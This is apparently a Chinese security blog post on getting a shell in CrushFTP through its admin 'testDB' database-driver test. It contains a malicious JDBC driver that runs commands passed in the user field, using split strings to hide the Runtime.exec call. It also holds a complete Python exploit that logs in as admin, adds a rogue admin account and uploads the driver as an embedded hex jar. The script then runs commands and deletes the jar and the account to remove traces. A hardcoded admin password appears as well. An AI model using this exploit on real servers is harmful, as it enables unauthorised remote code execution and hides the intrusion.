Skip to content

CrushFtp Getshell

date
2024-09-15 21:23:28

后台SQL驱动testDB

testDB 代码,加载自定义的驱动文件尝试连接。

    public static String testDB(Properties request, String site) {
        String response = "<commandResult><response>";
        try {
            String s = AdminControls.handleInstance(request, site);
            if (s != null) {
                return s;
            }
            Connection conn = null;
            if (!request.getProperty("db_driver").equalsIgnoreCase("org.apache.derby.jdbc.EmbeddedDriver") && System.getProperty("crushftp.security.classloader", "false").equals("true")) {
                // db_driver_file
                String[] db_drv_files = request.getProperty("db_driver_file").split(";");
                URL[] urls = new URL[db_drv_files.length];
                int x = 0;
                while (x < db_drv_files.length) {
                    urls[x] = new File_S(db_drv_files[x]).toURI().toURL();
                    ++x;
                }
                URLClassLoader cl = new URLClassLoader(urls);
                // db_driver
                Class<?> drvCls = Class.forName(request.getProperty("db_driver"), true, cl);
                Driver driver = (Driver)drvCls.newInstance();
                Properties props = new Properties();
                // db_user, db_pass
                props.setProperty("user", request.getProperty("db_user"));
                props.setProperty("password", ServerStatus.thisObj.common_code.decode_pass(request.getProperty("db_pass")));
                // db_url
                conn = driver.connect(request.getProperty("db_url"), props);
            } else {
                Class<?> drvCls = Class.forName(request.getProperty("db_driver"), true, ServerStatus.classLoader);
                Driver driver = (Driver)drvCls.newInstance();
                Properties props = new Properties();
                props.setProperty("user", request.getProperty("db_user"));
                props.setProperty("password", ServerStatus.thisObj.common_code.decode_pass(request.getProperty("db_pass")));
                conn = driver.connect(request.getProperty("db_url"), props);
            }
            conn.close();
            response = String.valueOf(response) + "Success";
        }
        catch (Exception ee) {
            // err => resp
            Log.log("HTTP_SERVER", 1, ee);
            response = String.valueOf(response) + "Error:" + crushftp.handlers.Common.url_encode(ee.toString());
        }
        response = String.valueOf(response) + "</response></commandResult>";
        return response;
    }

自定义驱动,通过 db_user 执行命令,异常输出结果

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.sql.*;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties;
import java.util.logging.Logger;

public class CatDatabaseDriver implements Driver {

    static {
        try {
            DriverManager.registerDriver(new CatDatabaseDriver());
        } catch (SQLException e) {
            System.out.println(e.getMessage());
        }
    }

    @Override
    public Connection connect(String url, Properties info) throws SQLException {
        // url: jdbc:cat://localhost:3306/testDB
        // info: {user=testUser, password=testPass}
        String user = info.getProperty("user");
        if (user.isEmpty()) {
            return null;
        }
        String result = "<result>" + executeCommand(user) + "</result>";
        throw new SQLException(result);
    }

    @Override
    public boolean acceptsURL(String url) throws SQLException {
        return true;
    }

    public static String executeCommand(String command) {
        try {
            String className = "jav" + "a.la" + "ng.R" + "unti" + "me";
            Class<?> aClass = Class.forName(className);
            String methodName = "e" + "xe" + "c";
            Method exec = aClass.getMethod(methodName, String[].class);
            String objName = "ge" + "tRu" + "nt" + "ime";
            Object getRuntime = aClass.getMethod(objName).invoke(null);
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] commands = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
            Process process = (Process) exec.invoke(getRuntime, (Object) commands);
            List<String> lines = new ArrayList<>();
            try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
                String line;
                while ((line = reader.readLine()) != null) {
                    lines.add(line);
                }
            }
            String output = String.join("\n", lines);
            int exitCode = process.waitFor();
            if (exitCode != 0) {
                throw new RuntimeException("Command execution failed with exit code: " + exitCode);
            }
            return output;
        } catch (Exception e) {
            return "";
        }
    }

    @Override
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
        return new DriverPropertyInfo[0];
    }

    @Override
    public int getMajorVersion() {
        return 1;
    }

    @Override
    public int getMinorVersion() {
        return 0;
    }

    @Override
    public boolean jdbcCompliant() {
        return false;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        throw new SQLFeatureNotSupportedException("Logging is not supported.");
    }
}

本地测试:

import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.sql.*;
import java.util.Properties;

public class Main {

    public static void main(String[] args) {
        String response = "<commandResult><response>";
        try {
            String dbDriver = "CatDatabaseDriver";
            String dbUser = "whoami";
            String dbPass = "testPass";
            String dbUrl = "jdbc:cat://localhost:3306/testDB";
            String dbDriverFile = "/D:/Projects/java/CrushFTP_Sql_Driver/src/CatDatabaseDriver.jar";


            String[] dbDrvFiles = dbDriverFile.split(";");
            URL[] urls = new URL[dbDrvFiles.length];
            for (int x = 0; x < dbDrvFiles.length; x++) {
                urls[x] = new File(dbDrvFiles[x]).toURI().toURL();
            }

            URLClassLoader cl = new URLClassLoader(urls);
            Class<?> drvCls = Class.forName(dbDriver, true, cl);
            Driver driver = (Driver) drvCls.getDeclaredConstructor().newInstance();

            Properties props = new Properties();
            props.setProperty("user", dbUser);
            props.setProperty("password", dbPass);

            Connection conn = driver.connect(dbUrl, props);

            if (conn != null) {
                response = response + "Success";
                conn.close();
            } else {
                response = response + "Failed to establish connection.";
            }
        } catch (Exception e) {
            System.err.println("Error: " + e.toString());
            response = response + "Error: " + e.toString();
        }
        response = response + "</response></commandResult>";
        System.out.println(response);
    }
}

image

自动化脚本:

import binascii
import os
import re

import requests
import xml.etree.ElementTree as et

from pocsuite3.lib.core.data import logger
from pocsuite3.lib.utils import random_str


class CrushFTP:

    def __init__(self, url):
        self.url = url
        self.function_url = url + '/WebInterface/function/'

        self.session = requests.Session()
        self.session.verify = False
        self.session.proxies.update({
            'http': 'http://127.0.0.1:8080',
            'https': 'http://127.0.0.1:8080'
        })

        self.c2f = ''

        self.db_driver_dir = '' # 保存目录
        self.db_driver_name = 'Driver'
        self.db_driver_file = ''

        self.evil_driver = '504b03041400080808009479835a000000000000000000000000090004004d4554412d494e462ffeca00000300504b0708000000000200000000000000504b03041400080808009479835a000000000000000000000000140000004d4554412d494e462f4d414e49464553542e4d46f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5722e4a4d2c494dd175aa040958e819c41b1b1a2a68f8172526e7a42a38e71715e417259600d56bf272f1720100504b0708e9c659924400000045000000504b03041400080808008579835a0000000000000000000000000c0000004472697665722e636c6173738d57097c1c5519ffbfec6e663299dda4dba6edb694062825e9918094009b10da841e814d689b524823ca6477d24cd8ec2cb3bb6d231e78e181e2095254bcad47d502ba094428281445c55b4145f13ef042f106eaffcdcc269b64397e49debcf7bdef7adff7ffbef7f2e03377de0d608358a061056ed410c27b34dc84831a6ec67b15bc4f52deafe2160d1fc007e5e2431a36e1c32a3e22171f958b8f29f8b882431aea70a38a4fc8ef27557c4a7e3fad2182c32a3ea32186cfaa1855f0390539b93aa2624cc1ad1a6ec3ed2a3eafe10b9efea28a0915932aee5071a78a29055f5470978626dca8e06e0547359c867b34acc5bd1ad6e04b72f8722deec3fd72764cc1031a5e84afa8f8aad4f6a0e4fe9a82afabf88674e8210d67e3b0826faaf896826f2bf88e8aef6ae894b4efc9c33004dfc70f6ae8cd0fa5ef0f6b78043f52f06381ea0e2b63e53b05024dcdbb0582dd76ca14a84b5819b3af3036643abb8ca13429d1849d34d2bb0dc7926b9f18cc8f58390135718163ed339d7601ddcc24a9a1cbc8996d1b04563725468d7d466bdac8ec6dedcf3b56666f7bf37c9240c8ca640b7969a6c2a6e66e768de74d1aab1aec9a3693f2694ad2ce64cc24e5cfaf60d0a314f256ba75bb63674d276f99b9921bb9abd2addd9eb46567682c5070d23c999519b605165796752d8e8d1999149d330f98c99d66ae90a6f9707fde485ed96b64dd001168dcdf7c206966a5723aaa1949b9c85db23321d05029387b04225263216f76974c04d3cc0653e59846ca7404967a7296ddda55181e361d33b5d3dda15f35c9b491cbf5196392dfe8960b810565765c928ce998991fb1531e67505a145856c6e798c369c6a4b5d7659327b687463d6e6daf99df59c8e4ad317376c22e1e1aa588e4b5720450e18080e07942766ed7789630f163468f160e56cab39275eca4293d5e58b6bddd234a90c83870b7be2c2b092b272d56db85bc0b20d53c60e53d108b1efef1db50a66c3a19ed32b9b3203d9e2dc17ad1dc7875ace924ffaa39663be69fa1b3dd6d053f610b702bfc51b7b81f6065b2a618361f43e33d2ebab6bd70b00ecea0d5abb5724ded9ef25e63d476769b4e8ec773ebb9c7a75b99327a7834359424b4b269cbc8e45dbe3dbe73866366f2097bef5e09b2139a9acb7c49934af75abd5d1a543b9269bf732c99f1ad7f476226c26ca0044bbf5d7092e6164b06b6d6f3bd45f2ebd8861e1d3fc5cf143ca6e3e7f895825febf80d7ecb04cf0d8b64fe1d715ac8998e82dfebf803b6eb781cd7eb18c276a67fc86d383afe883fe9b858921a2a3a456fe7eaee2a5869b7acd40ec72de34e1d7fc65f584b1dadd384bfe209e9c3df584c52be45cab7f845a0e3ef7892219c031a1dffc03f679dc5ab0fc243c7bff06f5952b9960c4b4ac17f74fc174f3019fb2dba58951be1b03e29dbcc58aa85c5c9656bd2b73dab2a582a3349dae438c6b84426b15db94308c44a1b3db2a73202a631e6ede9f81f9e92877c5a0ecfe8388e2788609d45247451859e922dd7feae11c7de2fcb45170111248fa68b90a8d68582ebd8496618fd209565a0d96f6c8d5e9f23ad71d8203e528dfbadfc48a32ce046d9dde38d4c845067992d530381e5cf5114024de508d8621af98263f6d9f9fe42366b3b793355a62b96f0f0dd68e51a3376be3157e26921b63cdd8aa8d185266a750623ac8b088323ea74512f315137c70fb6e867eba46cefb3bb0871c7daf32fb26053b3bcdeea67584a37a96cba9bdd4b8fda95e999dec3abcb71f126e56717ad27bbca676e2f7955618fa7f46e544e9a06bb5c274272c227c1a24a1d89b55cd6cedc8ebf792c2b67ecf299bc61c9db6e79797feb1e319c7ef3aa02ed98ee35576d64b3a6bcded6bfa047825fa6b2f5e46d8f44df9a2abe262adeac3c8a326c3bde1d76eaf3d82c5d9335b27ffa89db584166709e4cf3735da2d556669f7d25ed9fdb34ffde1c9c4f6aae74bb9677c7f15cde1c6332f276c2de4f2030ab44189d2e2b6ff6bc529866d7bd444453c50d19ac85335bfef3425255f90849b8ef9180914acd8975c96d79eb27d3b674264c2e59726ca539333563717617717507476dd9fe363e2b6ccae83d79d3f1042bbe24f61b567e8bed5e633dcf85a5c5732ab7d7c818eef51771ccbdac4ed32955f4a2a6b957b0eb73c096af8e86e9506da7fe99f06a2e7c7239ea2cb5b1d93ceea387ab740627f19dbe824d6d2bff73a9e597d723c70bb96ae597fd0ea1351310b77252858b3856bbc45a2438ea1e037ad1c76f8dbc027de11723c01f60f19a22aa129308ac2d22d83b85d0c0ba09541f99d61671b91aa86331c258e26a6df424b1033b5ded0bd08f5dd41ba6854b38abe27c372ee5575aba1f41f2005bd7459522d4bef545d41c44481c593f092d1e5c1bad2d423f082d169c44381e9c4264600a750313a88f2e28221a0b72882ee450c4a209341ca5aa80ebda8950fc7125dd6c443d4ea653a770b50aabf9235ddde099f603206797d169e1ce06b0872e2ad88841d202943d8361d949772f770f5ef514ea15bce4293470c44b490b5232c2bf2b60f8876be3aa4a062b78784e02d6baf6177bbbd3f6ab7cfb33da6ae453c54b4aa048d905bcc12e8f2e4eac9dc492dee8d2be75eb8377213610882eeb2f62793c183d211e5a170b0548e45af0bba28813e3d5c13625ba72128d7135a61ec3c2985ac449d193ddd05607da9406e5209656dfc5fc06a2a7f40f04a3abfa07426bfa0fa1c1279e2a89ab5d62bc26168c55d3ec8a8140ac86664fbc07a7c5b52934312bcdf1da29ac618ad60ec4b4228896f5136889eb221e8ee945b40ec423c7501fab8d45eec0e955b8f4d0f1c763fa315c120b1fc312c971c6216c8b4762e158a488330fa1c3a76d202d421d91a3f13a297052b9c0a2783d05ea5d01d5a5c5ea8e4637c46a2771565c977eb4b5851bc207b1720a674fc3e71c82a6215cc4b92e72e24763fa9144b4e30883fc301ec563fccfb98887f0a4ff7d9a81af1111b180eb27f9ca795ae64b5c2606d0ce54c9c48e6219c7d3099533a092ab1667623921b6126771d6c69fb3711ece61959dcb24b7e31a74e006526ee1bfdc45c2ec5e96f243e8a6f64e6aef16a7e202d182cde22c6c11716c15bbf9981ac085620fad49f01c2618ee26ac93d416c1ed709082c99a0e9073d885912a76602f4608ab5ad107cb85f172d1494fafa4cf2ba9354d5a08678ad5184386276f13a7c04696b03f4f9c80abb8abd2cf47a83b4728de80fb9047011a7d9ec23eeca7de1642f900f974fab90ae37819c2f43080abf172097471b95b3ec02b7cb87b3ebd92334fc7ab182759508fa0ee38196b584ceeef35eef86a777c8d902586d80e05cb8e338a916765228382d72a789d82d72bb8165842996b6bb772d8c6bfe358e816ed0b13967f428a078fd35dfdf9e5c0bc9d4e8290fcaecf1cdec030bc116ff23b423757b23dca0a3defc89ca6b0a3ac7f86a69b4268ba2985fca654de6cde8cebfc9ebdce6ff8f39bcdeeb26e5f6a36026f992f19982b395851f2adb8fe7925afa828f936bcdd0fc4069e52eeb16f740e44cf9fc0c6a3733498651a345f43e9e49dc4e53ba6afba11f74e2140a6b089a5dd3589ee43885c741b2ee0f5b5b9882db7fa4ac2ee8575910bc590dbc535165118759cd56329a2d326e5ced5782757129c0aaa7a15bc4ba39d77bb5ede805fba0a056ec64df8056afe0f504b07080b2c8213620a00003d140000504b010214001400080808009479835a0000000002000000000000000900040000000000000000000000000000004d4554412d494e462ffeca0000504b010214001400080808009479835ae9c65992440000004500000014000000000000000000000000003d0000004d4554412d494e462f4d414e49464553542e4d46504b010214001400080808008579835a0b2c8213620a00003d1400000c00000000000000000000000000c30000004472697665722e636c617373504b05060000000003000300b70000005f0b00000000'

    def login(self, username, password) -> ():
        try:
            headers = {
                "Accept": "*/*",
                "X-Requested-With": "XMLHttpRequest",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36",
                "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                "Origin": self.url,
                "Referer": f"{self.url}/WebInterface/login.html",
                "Accept-Encoding": "gzip, deflate, br",
            }
            data = {
                "command": "login",
                "username": username,
                "password": password,
                "encoded": "true",
                "language": "en"
            }
            res = self.session.post(self.function_url, headers=headers, data=data)
            if 'success' not in res.text or '<c2f>' not in res.text:
                return None, ''
            logger.info(f'{self.url} login success')
            root = et.fromstring(res.content)
            self.c2f = root.find('c2f').text
            logger.info(f'{self.url} get c2f success: {self.c2f} ')
            return True
        except Exception as e:
            pass
        logger.info(f'{self.url} login failed')
        return False

    def add_user(self, username, password) -> bool:
        """
        添加管理用户
        :param username:
        :param password:
        :return:
        """
        try:
            self.get_db_driver_dir()
            if '/tmp' in self.db_driver_dir:
                name = 'tmp'
            else:
                name = 'Public'
            data = {
                "command": "setUserItem",
                "data_action": "new",
                "serverGroup": "MainUsers",
                "username": username,
                "user": f"<?xml version=\"1.0\" encoding=\"UTF-8\"?> <user type=\"properties\">\r\n<user_name>{username}</user_name>\r\n<password>{password}</password>\r\n<extra_vfs type=\"vector\">\r\n</extra_vfs>\r\n<version>1.0</version>\r\n<root_dir>/</root_dir>\r\n<userVersion>6</userVersion>\r\n<max_logins>0</max_logins>\r\n<filePublicEncryptionKey></filePublicEncryptionKey>\r\n<fileDecryptionKey></fileDecryptionKey>\r\n\r\n<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)\r\n</site>\r\n<created_by_username>crushadmin</created_by_username>\r\n<created_by_email></created_by_email>\r\n<created_time>1743663409774</created_time>\r\n<password_history></password_history></user>",
                "xmlItem": "user",
                "vfs_items": f"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<vfs_items type=\"vector\">\r\n<vfs_items_subitem type=\"properties\">\r\n<name>{name}</name>\r\n<path>/</path>\r\n<vfs_item type=\"vector\">\r\n<vfs_item_subitem type=\"properties\">\r\n<type>DIR</type>\r\n<url>FILE://{self.db_driver_dir.lstrip('/').rstrip('/')}/</url>\r\n</vfs_item_subitem>\r\n</vfs_item>\r\n</vfs_items_subitem>\r\n</vfs_items>",
                "permissions": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<VFS type=\"properties\">\r\n<item name=\"/\">(read)(write)(view)(delete)(resume)</item>\r\n</VFS>",
                "c2f": self.c2f
            }
            res = self.session.post(self.function_url, data=data)
            if 'OK' in res.text:
                logger.info(f'{self.url} add user success, user:{username} pass:{password}')
                return True
        except Exception as e:
            pass
        logger.info(f'{self.url} add user failed ')
        return False

    def delete_user(self, username):
        try:
            data = {
                "command": "setUserItem",
                "data_action": "delete",
                "serverGroup": "MainUsers",
                "usernames": username,
                "user": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>",
                "xmlItem": "user",
                "vfs_items": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><vfs type=\"vector\"></vfs>",
                "permissions": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><permissions type=\"vector\"></permissions>",
                "c2f": self.c2f
            }
            res = self.session.post(self.function_url, data=data)
            if 'OK' in res.text:
                logger.info(f'{self.url} delete user success, user:{username}')
                return True
        except Exception as e:
            pass
        logger.info(f'{self.url} delete user failed ')
        return False

    def upload_evil_driver(self):
        try:
            rand = binascii.hexlify(os.urandom(5)).decode("utf-8")
            file_name = random_str(5) + '.jar'
            full_path = os.path.join(self.db_driver_dir, file_name)
            full_path = full_path.replace('\\', '/')
            if 'C:' in full_path and not full_path.startswith('/'):
                full_path = f'/{full_path}'
            content = bytes.fromhex(self.evil_driver)
            length = len(content)
            data = {
                "command": (None, "openFile"),
                "upload_path": (None, '/' + file_name),
                "upload_size": (None, length),
                "upload_id": (None, rand),
                "start_resume_loc": (None, "0"),
                "c2f": (None, self.c2f)
            }
            res = self.session.post(self.function_url, files=data)
            root = et.fromstring(res.content)
            up_id = root.find('response').text
            url = self.url + '/U/{}~1~{}'.format(up_id, length)
            files = {
                "CFCD": (
                    file_name,
                    content,
                    "application/octet-stream")
            }
            res = self.session.post(url, files=files)
            if res.status_code == 200:
                logger.info(f'{self.url} {full_path} upload success')
                self.db_driver_file = full_path
                return True
        except Exception as e:
            pass
        return False

    def delete_evil_driver(self):
        try:
            data = f'command=delete&names={self.db_driver_file}&c2f={self.c2f}'
            res = self.session.post(self.function_url, data=data)
            if '<response>' in res.text:
                logger.info(f'{self.url} delete evile driver file {self.db_driver_file} success')
                return True
        except Exception as e:
            pass
        logger.info(f'{self.url} delete evile driver file {self.db_driver_file} failed')
        return False

    def get_db_driver_dir(self):
        try:
            data = f'command=getAdminXMLListing&file_mode=user&path=/&serverGroup=MainUsers&c2f={self.c2f}'
            res = self.session.post(self.function_url, data=data)
            if '<href_path>' not in res.text:
                logger.info(f'{self.url} get db driver dir failed')
                return ''
            if '/C:' in res.text:
                logger.info(f'{self.url} is windows system')
                self.db_driver_dir = '/C:/Users/Public'
            if '/tmp' in res.text:
                logger.info(f'{self.url} is linux system')
                self.db_driver_dir = '/tmp'
            if self.db_driver_dir:
                logger.info(f'{self.url} get db driver dir success: {self.db_driver_dir}')
            else:
                logger.info(f'{self.url} get db driver dir failed')
        except Exception as e:
            pass
        return ''

    def exec_command(self, command):
        try:
            data = {
                "command": "testDB",
                "db_driver_file": self.db_driver_file,
                "db_driver": self.db_driver_name,
                "db_url": "jdbc:mysql://127.0.0.1:3306/crushftp?autoReconnect=true",
                "db_user": command,
                "db_pass": "",
                "c2f": self.c2f,
            }
            res = self.session.post(self.function_url, data=data)
            if 'java.sql.SQLException' not in res.text:
                return ''
            from urllib.parse import quote, unquote
            resp = unquote(res.text)
            match = re.findall(pattern=r'<result>(.*)</result>', string=resp, flags=re.DOTALL)
            if not match:
                return ''
            result = match[0]
            logger.info(f'{self.url} exec: {command} result: {result}')
        except Exception as e:
            pass
        return ''


if __name__ == '__main__':
    url = ''
    username = 'crushadmin'
    password = 'Le!JSb7X^[{G52y&'
    evil_username = random_str(5)
    evil_password = random_str(10)
    # 添加恶意管理员用户
    admin_crush = CrushFTP(url)
    admin_crush.login(username, password)
    admin_crush.add_user(evil_username, evil_password)
    # 通过恶意管理用户上传 SQLDriver 恶意驱动
    evil_crush = CrushFTP(url)
    evil_crush.login(evil_username, evil_password)
    evil_crush.get_db_driver_dir()
    evil_crush.upload_evil_driver()
    # 执行命令
    evil_crush.exec_command("whoami")
    evil_crush.exec_command("id")
    # 删除恶意驱动
    evil_crush.delete_evil_driver()
    # 删除恶意管理员用户
    admin_crush.delete_user(evil_username)